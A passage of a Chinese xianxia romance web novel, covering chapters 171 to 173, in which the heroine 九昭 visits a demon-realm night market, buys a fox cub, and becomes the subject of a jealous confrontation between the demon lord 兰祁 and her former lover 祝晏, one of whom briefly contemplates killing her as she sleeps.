“仙子醒醒。” 躺椅上的浅憩被人打断, 九昭惺忪着睁开眼睛。 缓了片刻,消解睡意,两位女婢扶起她来到梳妆台前。 身上与寂无宫相关的衣饰皆被除下, 女婢将九昭的长发散开, 掺入彩色丝带,编成一绺一绺的细辫。 似是提前得了吩咐,整个过程,两方无话。 对于女婢卖关子的行为, 九昭看破不说破,乖乖地靠坐在椅子上,任由她们更衣描妆。 暮色四合时, 殿内亮起通明烛火。 九昭抬头看着镜子里的自己,黑衣彩辫,白肤红瞳,再不复半点仙族痕迹。 一切收拾妥当, 她被领着, 带到兰祁面前。 兰祁亦不饰冠冕, 通身常服。 见着她,粗略打量一番, 夸奖道:“这是时下最风行的业族女子装扮, 你扮起来比她们更好看。” 焚业海不许提及“魔”字。 魔,是曾经仙族口口相传的蔑称, 与之相关的所有称呼, 均用“业”来代替。 九昭警醒着自己出门在外, 不可说错。 又听见兰祁说道:“趁着今日琐事不多, 你既然那么想出去, 孤便带你到处走走。” 轻描淡写的一句话, 交代了彼此穿成这样的原因,九昭定了定发散的思绪,出声打趣:“我还以为,业尊出游,怎么也该屏退民众,专程清理出一条街来,供您尽心赏乐。” 兰祁瞥她一眼:“三清天无论位阶高低,皆可前往神署局认领差事,焚业海不同,每日都要为了生存下去想方设法,专程清理出条街,便是断了那处商贩们的一日生计,何必如此兴师动众?” 九昭如今虽不歧视魔族。 但这个对立种族嗜杀、贪婪、彼此侵略争夺的印象到底在脑海根深蒂固。 骤闻兰祁体谅惠下的想法,她闭口不语,瞳孔闪烁起若有所思的光亮。 说教点到为止,兰祁谨记她过去最不耐烦听这些大道理,抿唇微顿之后,他缓和语调:“业族子民对仙力极为敏感,若被他们察觉,也是一重危险,你过来我身边,我施法帮你掩盖气息。” “记得少时一起去灵兽森林玩耍,你也对我说过这样的话。 “你说我的仙力不足,气息流露在外会引起那些高阶灵兽的注意。 “那时候你将自身的力量凝练在掌心,拉着我的手,还告诉我,如此我的身上也会沾染你的仙力。” 九昭举起左手,十指纤纤的指尖在烛火映照下,泛出羊脂玉般的半透明。 兰祁的目光不自觉被那点莹润吸引,尚未开口,宽大袍袖下的右手倏忽陷入一片温热。 视线近处,九昭冲他璀然一笑:“你总不放心我在焚业海的安危,倒不如像这样牵着手——既可以掩盖掉我身上的异族气息,你也能够时刻感觉到我的存在。” 九昭的身量放在仙族女子中算得上高挑,手却生得很小。 皮肉柔软,骨骼坚硬,奇异的差异,彰显其主惑人皮囊下的峭立性格。 兰祁无言感受着九昭的亲近。 指缝变本加厉被揉弄开来,紧接着,她的五指插入内里,与他紧紧相扣。 “你——” 兰祁眉心一跳,正要说话,两人背后传来由远及近的足音。 九昭先于他向后瞧去,见身着丁香色锦袍的祝晏负手颀立。 嵌在秀面上的狭长双目,正不错眼地望着自己。 九昭有些奇怪他怎么会来。 兰祁心有灵犀冲她解释:“出门在外,随行过多难免引人侧目,近卫在暗,祝晏在明,如此最为妥当。” 他的考量的确稠密而周全。 但重臣之中,实力与祝晏相当者数量不少。 如此安排,仅是为了妥当吗? 九昭心中悄然冒出疑惑。 青年话音落下不多时,她那主动牵着兰祁的手,反被一股力道加重牢牢禁锢。 “走吧。” 兰祁使了个眼色,周围的近卫们纷纷隐去身形。 衣袖之下,他们十指交扣的手暴露在冰冷的空气中,也暴露在祝晏明灭不定的眼里。 …… 兰祁将出行的地点,定在王都西面的酒阑夜市。 之所以选择这里,同样经过他一番深思熟虑。 论琳琅繁华,焚业海绝没有一处比得上九昭昔日住惯了的天上宫阙。 倒不如另辟蹊径,叫她体验体验普通业族子民的生活。 与寻常开店做买卖的商铺不同,酒阑夜市之中并无成排的房屋。 高悬半空,做成星子大小的横纵荧烛下,是支着车摊卖货的小贩,和穿梭如织的游人。 这里没有固定的货位,每日来往做买卖的人也各异。 看准了不下手,过了这个村就没这个店。 兰祁走在前头,落后一步是同他牵着手,好奇左右张望的九昭。 祝晏走在末尾的位置。 三人利用法术稍稍调整了相貌,但相较四周的买卖者依然出众不少。 两男一女的微妙组合,时不时会惹来打量的目光。 在外不方便直唤大名,他们只以“阿昭”、“阿祁”、“阿晏”彼此称呼。 不过说是这么说,兰祁和祝晏之间几乎不做交流。 唯有九昭偶尔指着远处式样新奇的货物,询问是什么,引起两方同时的回应。 没玩过的东西想玩。 没用过的东西想用。 抱着这个心思,作为随从的祝晏手上很快累积起大包小包。 九昭偏又不让放入储物戒,免得想起来的时候不能立刻找到。 起先,兰祁还会提醒几句,哪怕打算买下,面上也不要露出很喜欢的表情—— 夜市的商贩不固定,能骗个冤大头出高价,接下来几天都不用再辛苦奔波,若被他们发现她并非王都人,没什么见识,弹指间就会开始满嘴胡扯,漫天要价。 嗯嗯知道啦。 九昭这壁答应得好好的,转头又忘个一干二净,献宝似地向他捧上衰草做的黄绿蚂蚱。 还笑着说:“你看,不用法术,按一下它就会蹦蹦跳跳诶!” 兰祁:“……” 他选择闭嘴。 半个时辰后,祝晏再也拎不过来,兰祁只能跟着默默承载起陪大小姐游街的义务。 他苦中作乐地思考着,若是实在拿不下,就唤两个近卫出来。 又逛了少顷,九昭摸了摸空空的肚子。 自从仙力受损,她无法保持辟谷状态,饿了要吃,困了便要睡。 从来不委屈自己的她,找到生意最火爆的一处摊位坐下来,支使祝晏去看看卖得什么吃的。 兰祁下巴一侧,点着蒙在摊车上的白布:“煮蚂蚱、炸蚕蛹、红烧盲鼠、蛇肉馄饨,你要吃什么?” “……” 九昭咋舌,“这是人能吃的东西吗?” 兰祁信手在三人身边下了个结界,确保外人不会听到他们的对话,才道:“焚业海不比三清天,土地贫瘠荒芜,又无日光照射,你喜好的蔬菜果子极难存活,就算最终顺利破土而出,也很容易受到怨气侵染。” 言语未尽,他招来穿行送菜的小厮,点了炸蚕蛹、红烧鼠肉和蛇肉馄饨。 接着略带嘲讽地微笑,“仙族占据着最美好的风光,最充沛的灵气,最丰沃的土壤,还将我业族比作阴沟里的老鼠,殊不知,正是这些见不得的玩意儿,保证了多数无法辟谷的人能避免饿死,好好活下去。” 九昭无言。 人总是对于未曾有过的体验持有怀疑的态度。 她下意识转过去,想从祝晏的神容间探得一丝兰祁夸大其词的证明。 却见他垂落眼帘,半张面孔陷入烛光不及的阴霾里。 待到饭菜送上,那纤毫俱存的虫子模样,以及黑红酱汁里包裹的狰狞,又使得她一阵作呕。 雷罚带给她的,仅是肉/体的煎熬。 而如今这个,却是精神上的无限折磨。 兰祁拾起筷箸,半张薄唇,将蚕蛹送进口中,他正对面的祝晏也缓缓夹了块鼠肉。 “尝尝吧,你不是说,对将要来长久生活的土地,很有了解的必要吗?” 他甚至带着笑。 齿关闭合,酥脆的外壳应声而裂,不好形容的肉质香气四散而出。 九昭忍着生理不适,看得目不转睛。 一瞬间,她认为兰祁嚼得不是蚕蛹,而是在将她生吞活剥。 自己放出去的话,若是反悔,显得太没气度。 再加上那闻得业族平民生活,遽然而生的难以言喻心情。 良久,她端起那碗看起来冲击力没那么强的蛇肉馄饨。 一口。 两口。 三口。 机械性的咀嚼,喉咙滚动,将其吞咽下肚。九昭擦了擦嘴有些不自在地说道:“倒是……并不难吃,就是略微有点咸——能将这些不算食物的事物烹饪成这样,业族还挺有本事。” 已知晓这片土地供给的每一颗粮食都十分珍贵,她没再发出任何带有挑剔之感的声音。 她单手握勺,将碗里连馄饨带汤都吃了个干净。 嘴巴一鼓一鼓的,活像只藏食的小仓鼠。 兰祁仍在不紧不慢地享用着盘中餐。 每吃完一颗蚕蛹,他的余光就会状似不经意地投在那处。 火树银花之下,九昭眉眼间对于食物的珍视郑重一览无余。 不知为何,他的心脏酸胀起来,紧接着,仿佛被某种液体腐蚀,缓慢地塌陷下去。 变得很软、很软。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 170-180 171| 第171章 ◎“随你们的便好了。”◎ 馄饨吃到最后, 九昭逐渐抛开肉馅来自于蛇类的不适感,从中品出了几分焚业海特有的滋味。 一顿简陋却满是风土人情的晚餐结束,趁着天色尚早, 三人出了酒阑夜市, 沿着城中河散步消食。 河水缓慢流淌,两岸灯火辉映,愈发衬得河面波光粼粼。 空气中飘散着似有若无的歌声,婉转轻柔, 词曲浮艳,透着股叫人心猿意马的靡丽。 九昭驻足定睛,见有潋滟的船影从远方拱桥下驶出—— 越来越近, 越来越近。 三层高的窄长花船上方,身着薄纱,腰肢纤软的俊美男女渐次映入九昭视线。 有眼尖者瞧见他们这三位相貌出众的行人,竟半噘嘴唇, 隔空抛出个媚眼。 九昭便指着花船问道:“那是什么?” 兰祁看她一眼, 随即说:“我倒是忘了, 三清天严令禁止这些,难怪你不知晓。” 话意在此处微顿, 他的目光转回去, 望着仍在试图引诱他们上船的伎子,神容坦然地介绍, “那些行在城中河上的船叫做风月舫, 做的是皮肉生意, 不论男女, 许多颇有姿色且无力自保者, 便以此谋生。” 今夜大开眼界的事物实在很多。 不过再怎么样, 也没有送进口中的食物来得冲击力强。 九昭边听兰祁的叙述,边走近打量。 再又一次收到从上飞来的柔媚眼波后,她勾起唇角,冲着倚着栏杆的男女友善一笑。 这笑容无关情/欲,仅是对于美丽风景的欣赏。 惹得其中一位格外出挑的女子稍稍愣怔,竟打算飞身下来相邀。 躁动发生不及片刻,几位着装统一,黑袍银剑的覆面者出现,以剑鞘敲击船板,警告他们莫要出格。 于是女子恋恋不舍地抬起手,冲九昭摇了摇。 耽搁的功夫,没有客人上船,轻歌曼舞的风月舫再度划开水波,渐行渐远。 …… 九昭眼前,女子妩媚的笑靥如清晨将至的美梦般溃散。 反倒是那几个高大的覆面者形象仍历历在目。 她侧转面孔,望着对伎子显然提不起兴致的青年: “那些人身上挂着的玉佩,雕刻的分明是寂无宫的标识——怎么,这些花船是你找人经营的?” 兰祁回视她,一时没有开口。 眼底涌动着几分情绪,好似在说“你的脑袋瓜里成天都在想些什么”。 旁边的祝晏适时把话接了过去:“那些的确是寂无宫派出的人,却并非风月舫的经营者,他们为了督管钱财分配和保障歌伎们的人身安危而存在,让歌伎们哪怕陷入泥泞,也能尽量活下去。 “所以,阿昭,你误会了。” 九昭不再言语。 从身份阶层来看,歌伎无疑是下等人,或许比三清天的仙奴还不如。 可相比仙奴被视作主人的物件,随意打杀也不会被论罪,兰祁却是在想方设法为他们提供保障。 抛开他们之间的仇恨和偏见不提。 兰祁作为君主,的确算得上称职。 这一趟出行,九昭的收获远远胜过师长传授的课堂。 …… 王都有宵禁,兰祁明早还要上朝。 沿着城中河岸走到底,又陆陆续续买了些小玩意儿,他们便出发返程。 这回,九昭没再刻意刁难,叫他们用两手拎。 通往寂无宫的王都大道上,已有八人一队的魔兵在四散巡逻,催促着铺子闭店歇业。 距离最外围的宫门不到百丈时,九昭的主意又被一家未来得及关门的异宠店铺吸引——靠近门口木架悬挂着一只精巧的织金雕花笼,内里蜷缩着的不是鸟儿,而是约莫两个巴掌大小的雪白狐狸。 要是祝晏被打回原形。 会不会也是这个样子? 念头在脑海频生,九昭的身体已然硬拽着兰祁走了进去。 “老板,它也卖吗?” 九昭单手指着小狐狸,正躬身忙碌收拾的矮胖老板闻言,却是两只眼珠提溜转绕一圈。 “啊、对对,它也卖。” 他将负着双手,从柜台后方转了出来,端量完三人的衣着,以及九昭脸上的神态,堆起笑容道,“几位贵客真是好眼光啊,都知道在我们焚业海,浅色的东西很少见,这小玩意儿更是一只万中无一的雪狐。 “您几位瞧瞧它的毛发,那可真是纯白无瑕,一丝杂色也无!” 老板摘下雕花笼,提着它来到三人面前。 九昭以为他是想让自己拿着近距离观赏,反手欲接,老板却胳膊一撇,躲过她的动作:“诶,贵客,要买了才能交到您手上,否则一个不小心摔了磕了,这么贵的宠物,到时候大家都说不清。” “你直接说价格,我买下就是。” 宵禁将至,九昭不愿耽搁时辰。 一壁询问老板,一壁使眼色给兰祁,让他掏出钱袋。 不知为何,从看到白狐的模样起,兰祁平静的面色总是萦绕着股似有若无的黑气。 他假装没有发觉九昭投来的眼神,待老板眉开眼笑地说出价格,方攥着九昭的手后退一步,语声淡淡拒绝道:“这只狐狸神态蔫蔫的,还那么贵——我们的钱不够了,不如看看那头方笼里的兔子、鼯鼠。” 笑话,堂堂焚业海都是兰祁的。 他会钱不够? 哪怕此刻出去,对着魔兵们亮出业尊身份都能眨眼凑够钱! 九昭不服气地继续表明态度:“可它是白色的,我真的很喜欢!” 兰祁半扬着头,面不改色心不跳:“世上你喜欢的东西多了去了,没钱就不能什么都买。” “你把钱袋给我,让我打开数数——” “不——” “好了,好了。” 祝晏出声打断他们的争执。 他随手解下腰间的钱袋,放入九昭掌心,笑意澹澹,“我这里有钱,绝对够了,你先拿去。” “这还差不多。” 九昭一挥,经她手堪堪一息的钱袋呈弧线形状丢进老板怀里。 与兰祁十指紧扣不好分开,她交代完老板自己拿钱,便兴冲冲地过去取走了雕花笼。 许是明白今后的命运发生了改变。 原本趴伏着闭目假寐的白狐,在被九昭拎出店门后无声睁开双眼。 它的两只前爪扒拉在笼杆上,细长的兽眼一瞬不瞬盯着九昭。 “哎,你醒啦?” 白狐的身体小巧玲珑,似乎是个刚断奶的幼崽。 抬头露出的稚气面孔,比只从背后看的毛茸茸一团来得更加可爱。 “你长得白,又还是个宝宝,就叫你雪宝好不好?” 九昭发出“嘬嘬、嘬嘬”的声音,祝晏适时从储物戒的大包小包里,翻找出一块肉干递过去。 两人手上的东西瞬间交换。 变成祝晏拎起笼子,九昭小声自言自语“蔫蔫的肯定是饿了”,拿着肉干凑近。 谁知,指尖堪堪探近笼隙,肉干就被一股猛烈的力道扯了进去。 硬物撞击笼底的清脆声响传入三人耳际,白狐对掉在角落的肉干看也未看,张嘴一口咬在九昭指尖。 “嘶——” 没有仙力护体,尖锐似刀片的兽牙眨眼将手指咬出血。 “找死!” 见九昭受伤,深重的戾气自兰祁眼中闪过,魔气用处掌心,他抬手欲朝雕花笼劈去。 意识到到即将命断于此,那几息前还凶狠异常的白狐,又呜咽着蜷缩成一团,瑟瑟发抖。 “算了。” 九昭脱离祝晏的治愈术范围,伸手拦在笼前,迫使兰祁硬生生改变了法术的轨迹,朝空无一人的角落打去,“它这样子,看着也是被人强行捉来的,这么小没了母亲,挺可怜的,你便饶它一命吧。” 因白狐而积攒的怒意陡然爆发,兰祁疾言道:“你几时变得这么好说话了,当年那匹天马不也——” “当年是当年,现在是现在。” 九昭示意祝晏将雪宝护好,不紧不慢道,“你没看出来,很多事都变了吗?” 这本是很寻常的一句话。 但从往昔意气风发的神姬口中说出,仿佛一盆雪水倾倒而下,将燃烧的火焰浇熄。 “……” 兰祁突兀噤了声。 他不明白自己是在为九昭短暂的不顺从生气—— 还是通过原身与祝晏极为相似的白狐,看到了他们共同拥有的,他没参与过的曾经。 “要不,先把笼子交给我吧?” 祝晏打起圆场,“我与雪白同为狐族,花心思调教它几日,就好了。” 兰祁冷着脸不置可否。 他沉默着,加快速度。 走完百丈路,将九昭带进第一道外宫门,又径自甩开她的手,丢下一句: “随你们的便好了。” 172| 第172章 ◎“你却比我更加没有资格。”◎ 没了九昭这个拖累, 兰祁的脚步很快,一转眼就失去踪影。 巍峨宫门之下,唯余彼此。 祝晏为外臣, 陪同出游的差事结束, 本该顺势告退。 可他却半提雕花笼只身颀立,目光亮闪闪地望了过来,多出几分期盼意味—— 兰祁既说了随他们的便,那么白狐去留的决定权, 此刻就在九昭的手上。 不,不只是白狐的去留。 他更在期盼些别的。 九昭从来清楚祝晏是天上地下罕见的美人。 鸦发若轻云,眼波横似水。 他爱着浅色的喜好, 堕入焚业海依旧不变。 站在一群黑黢黢的、面目严肃的魔臣中,越发显得风姿出众。 被这样一位美人热烈且专注地凝视,哪怕最冥顽冷酷的石头都合该软下心肠。 曾经,九昭便是软下心肠的石头。 卧在他香气盈馥的怀抱, 指尖缠绕着柔顺无匹的长发。 上一刻四目无话, 下一刻相视而笑。 …… 九昭没有避开他的目光。 片刻过后, 她游离的思绪尽数回笼,淡声开口:“我明白你在想什么。” 于是, 祝晏的瞳孔又亮起一分。 眼见他仿佛误会了什么, 九昭接着说道:“我提醒兰祁的那两句话,同样是说给你听的, 过去已经过去, 现在是现在, 无论你是真的放不下我们在一起的日子也好, 是另有目的也罢, 我们都不可能了。” 她的话流利异常, 不似其他做出重大决定者,总是左右摇摆、欲言又止。 那希冀的情绪尚凝于瞳孔,祝晏的面色已苍白下去。 他苦笑道:“你还是很恨我吗?” 他以为,今日夜游,九昭没有抗拒他的示好靠近,态度该融化了些微才是。 “不,我不恨你。” 九昭想也不想摇头。 她微微侧歪面颊,如同初涉人世,对周遭万物倍感好奇的幼鸟,“难道人和人分开,就必须带着恨或者爱吗?我们不再是爱人,也不会是朋友,做生活在同一片天空下的陌生人不好吗?” 话音未落,她又认为这个说法欠妥当,曲起指节顶了顶额角,斟酌着补充道:“噢,陌生人也不对,兰祁即将娶我,你又是兰祁的臣下——那便是,今后各自安好,本本分分做一对君臣,不好吗?” “为何、为何你就愿意跟兰祁重新开始呢?” 若九昭抛弃所有人,他固然还是会心痛难耐。 但也总比看着他们旁若无人说话拌嘴,以及幻想寂无宫中的相处画面来得好。 不知不觉中,祝晏忘却了臣子的身份,忘却了不该直呼君主名讳的禁忌,喑哑嗓音,询问出声。 九昭低下头去,用包容的眼神看了看不久前才咬伤自己的雪宝,唇畔勾起抹笑:“那跟你个臣子有何关系呢?你是能够出言反对,还是能够举兵反抗——执著探究一个无力改变的事实,没有任何意义。” 今夜,九昭对祝晏诉说的话语之多,远远超出过去一月的总和。 抬头望着硕大而旷寂的圆月,她捂住嘴,轻轻打了个哈欠,终是感到疲倦。 紧跟在哈欠声后,祝晏如愿以偿听到了九昭做主,将白狐暂时交给他来饲养的吩咐。 只是渴望凭借宠物为联结,促进两人关系修复的隐秘念头,早已在方才的对话中被九昭挑破切断。 下达完命令,九昭再未施舍半个眼神,转身毫无留恋地离去——正如那日桃树林内,陷入混乱中的她遥遥向他递来混合不可置信和哀求的眸光,他却选择咬牙忽略,跟在父亲身后,倒戈叛天。 …… 焚业海的夜越深越冷。 穿梭呼啸在敞开宫殿间的寒风,鼓震衣袖,猎猎有声。 有法力庇体,祝晏不该体会到冷。 他的心却恍若沉浸冰原,万里无春。 他在原地站了很久很久,九昭都未曾回过一次眸。 天空不知何时下起落雪,晶莹的雪片无声堆叠在他的肩头。 一柄伞半斜着,出现在祝晏的头顶。 与此同时,一双织金绣龙的靴履,停在他的余光尽头。 “你应当多想想崇黎王的话,不要再自作多情地与旧人牵扯在一起。” 兰祁不喜冰冷,体内流淌凤凰真血的他,身周总是笼罩着一层热意。 这股热意通过与伞柄接触的手,攀升至伞面,融化了顶端的霜雪。 一滴一滴,顺着倾斜的角度而下,渗入祝晏的发顶。 他无端打了个寒噤,抬起饱含痛苦与妒意的双眸,平视兰祁:“父亲已然退位,九尾狐族由臣全权做主,臣该有些自己的主见,倘若唯唯诺诺,遇事毫无成算,那还如何为尊上尽辅佐之力?” 称呼从大名变作“尊上”,薄唇也展现谦和有度的笑意。 虚伪的面具重新覆盖脸庞,兰祁从眼前青年的语调里,听出似有若无的威胁之意。 焚业海三十二城主,有将近一半不支持彻底攻陷三清天。 一方面,他们本就资源缺乏,鏖战的这三千年人力物力投入不计其数,好不容易夺得一清天的三块肥沃土地,应当抓紧时机繁衍生息,壮大业族力量,使苦了万年的业族子民过上好日子。 另一方面,祖神穹煌本就更加眷顾仙族,在弃世前秘密传授给他们好几样强大法术。 三清天的上神虽有死有伤,实力大大衰减,但只要剩着一口气,若将他们逼到走投无路,以魂飞魄散不归天地为代价,开启元神自爆的无差别攻击,那么无论哪方,都会陷入万劫不复的境地。 更何况,仙族天赋强大。 焚业海军队是占据了万年以来不曾有过的天时、地利、人和,才能取得当下的成果。 除非将他们全族皆灭,否则他朝依旧会卷土重来。 群臣反对声甚嚣尘上,是拼着最为强大的凤凰族和九尾狐族支持,兰祁的计划方可继续推进下去。 有自身的实力和盟友的身份作为依仗,祝晏的威胁果然奏效。 退后一步,不再放任伞面滑落雪水,兰祁面无表情道:“别忘了,她是你杀母仇人的女儿。” “我从出生起就没见过我的母亲。 “所拥有的,不过是个打着爱我的名义,却任凭我被孟楚和神王妃欺辱万年的父亲。” 祝晏的眼中划过一丝深刻的嘲讽,像是对兰祁,又像是对自己,“叛天后的三千年,我每日每夜都在想,原来生命中获得过的最纯粹的温暖,都是九昭给予的——尊上命臣离她远点,可尊上您自己呢? “破镜根本无法重圆的道理,您不会不懂吧?” “孤只是为了凤凰真血而已。” “破镜重圆”这个词,一下子牵动起心底不愿触及的角落。 兰祁的眉峰下压,折连出成片深重的阴影,“唯有两人一同练成最高阶的涅槃凤火,交融在一起才能抵挡上神的自爆之力,这是我们攻下三清天的最关键一点,你为何要在旁为孤增添阻力?” “若真的只是为了凤凰真血,为何尊上就是不答允臣的请求,在合契成婚,顺利调取力量后放九昭自由,让她来到臣的身边?尊上要的是三界霸主的位置,臣只愿与九昭长相厮守,这两者没有任何冲突!” “孤不留在她身边,怎能确保她不会被其他暗中反对孤的逆臣抓住杀了? “万一她身死,涅槃凤火失效,真血之力随机在新的凤凰族上生成,那我们岂不是功亏一篑?” 兰祁反唇相讥。 “那好,等你屠灭仙族,再无上神可以施展元神自爆,是否可以将九昭赐予臣为妻?” 祝晏又退了一步,放软语调。 兰祁仍然陷入须臾的沉默。 祝晏很快露出看清一切的眼神,冷笑道:“看吧,你就是舍不得。 “夺取凤凰真相的办法明明不止一个,你更可以亲手杀了她,吸收她的心头血,完成两半血脉的融合,你却为了不叫巫劭伤害到九昭,不惜神魂损伤也要强迫巫劭陷入沉睡—— “尊上想反悔了,是不是?既想掌握权力,又想强留九昭的人。 “可鱼和熊掌从来就不可兼得!” 祝晏的话,是步步紧逼,更是事实。 兰祁在无言里,小幅度转动了一下视线,倏忽沉声道:“我着实亏欠她良多。” 祝晏神容似铁:“那就别再把她禁锢身边,你没有资格。” 堪堪归于平静状态的白狐,察觉到两人之间不断涌动的杀意,复在笼内呜咽叫唤起来。 兰祁才从一种歉疚的思绪里清醒。 他乜着双眼,重新审视起祝晏的面孔。 从紧皱不平的眉宇,到怒意喷薄的瞳孔,再到悄然紧绷的下颌。 大家都是在感情里利己不忠的人。 背负着所谓着仇恨,去伤害了事实上与仇恨根本无关的爱侣。 祝晏看似义正词严地指责—— 又有什么资格呢? 回想着背靠在宫墙的转角后,偷听到的两人对话。 兰祁品尝到一种感同身受的痛,痛楚之外,却是无人能够得到毕生所爱的畅快。 他凝视着祝晏。 像是凝视不肯直面自身的失败,所以拔高声调,蓄意攻击他人弱点的丑角。 笑了笑,说道:“在得知自己是巫劭的容器之前,对于她的降生,我一直怀揣着最真挚的期待和向往。 “而你,从一开始就利用爱编织了一个谎言。 “什么年少时的出手相救,什么长达千年万年的暗恋,没有一句真话,也毫无半点真心。 “祝晏,你到现在还不肯认清自己吗? “我没有资格是真,你却比我更加没有资格。” 173| 第173章 ◎“杀意、爱欲。”◎ 兰祁的话, 成功撕开了青年温雅的面具。 他掩落在衣袖中的手掌紧握成拳,秾丽眉眼一刹那呈现出无以复加的狰狞。 “宵禁时辰已至,臣告退。” 他第一次礼都未行, 勉强从牙关迸出几个字, 不等兰祁允准,甩袖转身,步步朝后离去。 而站在原处,注视着他背影的兰祁, 面上毫无获胜者的喜悦。 遮挡风雪的伞面斜斜坠下,倒栽于地,雪片纷纷扬扬停留在他的鸦发眉睫。 素白代替意气风发的漆黑, 仿佛沧桑已千年。 …… 说今日不忙有空陪九昭出去,都是假的。 婚礼、战事、军备、压倒反对之声。 事情接踵而至,出游小憩的背后,需要支付彻夜处理政务的代价。 殿内烛灯寥寥几盏, 兰祁单手提着朱笔, 笔尖却怎么也落不下去。 他想着咬伤九昭的雪狐, 想着自九昭指尖滴落的鲜红血液,想着祝晏讥讽的言语。 魂不守舍, 思绪难以集中。 心中有种说不出来的疼痛作祟, 这种疼痛同他从前经历过的截然相反。 像是被冰霜封冻的地壳轰鸣开裂,不断涌出涓涓情感的温泉。 对于冰面而言, 温泉堪比毒液, 腐蚀、入侵、占领——宣告高铸的心防, 单方面的节节败退。 等到意识回归时, 兰祁发觉自己已然出现在连理殿。 九昭仙力残缺, 在一些方面与凡人无异。 会饿会累, 自然困了,也会睡。 纱幔半落半掩,衾被簇拥着一张好梦正酣的小脸。 她的手不规矩地探出边缘,紧紧抓住绣有芙蓉花的一角,仿佛这样做,就能带来无限安全感。 床榻两侧,各自点着一盏莲灯。 光亮虽不甚强烈,却驱散了漫长的黑暗。 此举,又与他的记忆不同。 过去的九昭,对光线十分敏感,入睡必得满室漆黑才好。 但凡有一点光线刺向眼皮,她便会翻来覆去、辗转难安。 面对这样前后相反的变化,兰祁只能归咎于她在无日渊内的遭遇。 无日渊终年无光,唯有镇守仙官下来检查时,嵌在墙壁上的鲛油灯才会自动燃起。 没有期限的安静,能将喜好独处的人逼疯。 毫无尽头的黑暗,也能令享受黑暗的人从此畏惧。 兰祁立于床边,沉默地看着。 持续流淌的心痛又加深了些。 他清楚自己对于九昭的感情,并非嘴上说的那么无动于衷。 九昭占据了他的全部青涩时光,让他从满心只有恨的少年,变成了爱恨交织的青年。 可兰祁也明白,不论多么喜欢一个人,都要留有余地,不可丧失自我。 魔族与生俱来的特性,便是一记时刻叫人清醒的警告。 爱欲过盛,力量失效,押上性命去实现携手终生的承诺——他不能让这种事情发生。 他绝不能把杀死自己的刀递到九昭掌心。 就算九昭再怎么诚恳地说出“放下过去,重新开始”,在这个世界上,他也只会信任自己。 兰祁这一生,鲜少有摇摆犹豫的时刻。 毕竟要是做不到果决,早在选择背弃九昭,堕入焚业海的那一刻,他就应该失败了。 这些年,思念日日夜夜充斥脑海。 三清天的故人重逢,令兰祁逐渐开始看清自己的心。 他无法忍受九昭用曾对他有过的雀跃目光,去看别的男人。 他无法忍受,她对着他们微笑。 他更无法忍受,有一天,她真的要披上嫁衣,迎接新的王夫。 于是,与仙族鏖战三千年,在确定九昭还活着,没被雷劫劈得灰飞烟灭后,他否决将领提出的建议,将本该汇聚起来一鼓作气拿下西海的兵力,抽出最精锐部分,命他们攻占无日渊,将她安然无恙带出。 将人放在身边,束在掌心,以为能够彻底填满不知满足的欲念。 可始终蠢蠢欲动、不肯死心的祝晏,又叫他感到如鲠在喉—— 果然,还是将她杀了,融入骨血里,从此合二为一,才是最好的结果吗? 寂静里,混合着痴恋的杀意再度浮现兰祁眸间。 被这股冲动驱策,他鬼使神差朝九昭伸出右手。 深重的魔气附着在肌肤之上,只要扼住脖颈,不出一息,便能折断骨头,令九昭毫无痛苦地死去。 爱欲过于强烈。 人会将食欲和杀欲与之视作一体。 兰祁脑中模拟着杀戮的过程,从咔嚓的清脆声响,到濒死时的嗬气呻/吟。 指腹在光滑的颈项上轻柔摩挲。 偶尔触及未曾愈合的灼烧痕迹,又是另一重酥痒的触感。 相较于清心寡欲的仙,魔总是难以把控自己的情绪。 有在三清天忍辱蛰伏的万年过往,兰祁从来拥有着极其罕见的冷静与克制。 可此时此刻,他的身体却在忠诚传递着如癫如狂的兴奋。 这一切,处于美梦中的九昭不得而知。 就在虎口使力,即将扼紧之际,她低低发出声呓语:“别生气……咬伤不要紧……” “……” 手掌一滞,兰祁猩红的眸色,呈现微微清明。 他不觉侧耳倾听。 不多时,九昭又呢喃道:“我、我知晓,你是心疼我……别生气,兰祁……” 她的声音很轻,落在魔力强大的青年耳里,却是字字分明。 竟然、做梦都在,想着他吗—— 都说酒后吐真言,梦里道心声,在他一掌想要打死白狐的时候,九昭的反应明明是和他争执了起来。 所以,这两句,是几个时辰前她羞于启齿的真心话吗? 动容之余,兰祁又忍不住怀疑。 是不是她探知到了杀意,才故意说出这样一番话,企图引起自己的心软。 九昭从来不是城府如此深的人。 更何况,倘若只是闭眼装睡,他怎会察觉不到? 心情莫名变得愉悦,轻飘飘的,仿佛要在两侧生出翅膀,悬空飞翔起来。 兰祁没有意识到自己唇角与眼底疑虑背道而驰的弧度。 魔气消散,他放轻动作,离开九昭的脖颈,温柔地抚摸过她的下颌、面孔和额角。 “放心。 “再过一段时间,祝晏、扶胥,还是其他觊觎你的人。 “都会通通消失。” 俯身,在床中人唇角落下蜻蜓点水一吻。 兰祁结束柔和却令人毛骨悚然的宣告,身影化为萦绕着不祥黑光的尘埃,就地消散。 …… 伸手不见五指的黑暗里。 看似沉睡的九昭,无声睁开眼睛。 …… 又过去几日。 婚礼正在有条不紊地筹备。 顺利结束调/教的雪宝,也在经过层层检验后,被送进了连理殿。 那织金雕花笼换了一个,空间更宽敞,每根笼杆都刻有密密麻麻的秘文——一方面,可以压制雪宝的野性,另一方面,在它有伤人意图时,秘文对应的法术会自动释放,将其四肢禁锢。 围绕笼边盘桓几个来回,再度瞧见九昭的雪宝,表现出前所未有的亲热,幼犬似地呜呜哼唧。 九昭一时没有回应,只半垂眼帘,有一下没一下地打量着它的变化。 侧畔女婢会意走了过去,试图端起搁置在桌上的托盘,将笼子端过来方便她就近欣赏。 谁知—— 见靠近自己的并非九昭,雪宝竟呲出稚嫩的尖牙,四爪抓地,毛发竖起,低嗥威胁起女婢来。 碍于秘文的存在,它没有贸然靠近笼杆缝隙扑咬。 只是连续不断发出威胁的吼声。 女婢没被唬住,仅有些为难:“仙子,您看,要不要再将这白狐送回去——” “不必。” 不知为何,九昭从雪宝狭长的狐狸眼中看出几分焦虑。 她想了想,吩咐道:“许是今日经过一路检查,经手的人太多吓到它了,你们先退下。” “可是,尊上——” “没关系,笼子上不是有道秘文保护我吗?” 九昭打断她,“这么一只小崽子,都没有幻化成人的力量,还能破解得了祝晏的法术不成?” 女婢意欲再劝,余光却瞥到九昭脸上流露的些许不耐烦。 俱是心中一凛,连忙退下。 连理殿内不再有闲杂人等后,雪宝果然安静下来。 